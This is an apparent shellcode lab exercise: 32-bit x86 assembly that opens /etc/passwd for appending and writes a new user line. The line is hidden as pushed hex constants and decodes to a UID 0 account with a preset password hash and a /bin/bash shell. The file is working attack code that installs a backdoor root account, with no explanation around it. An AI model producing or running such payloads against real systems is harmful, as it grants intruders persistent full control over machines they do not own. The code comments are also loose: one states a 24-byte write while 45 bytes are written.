; shellcode lab @ hack4 ; dash BITS 32 global _start _start: xor eax, eax xor ebx, ebx xor ecx, ecx mov eax, 5 push ebx push 0x64777373 push 0x61702f63 push 0x74652f2f mov ebx, esp mov ecx, 0x401 int 0x80 ; take filedescriptor xor ebx, ebx mov ebx, eax ; write(f_open, line, 24) xor eax, eax xor ecx, ecx mov eax, 4 push ecx push byte 0x0a push 0x68736162 push 0x2f6e6962 push 0x2f3a746f push 0x6f722f3a push 0x3a303a30 push 0x3a494e73 push 0x386b5a39 push 0x65736d48 push 0x42413a72 push 0x336b6361 push 0x68316f6e mov ecx, esp mov edx, 45 int 0x80 ;close maybe?? ah forget that :> ; exit(23) mov eax, 1 mov ebx, 23 int 0x80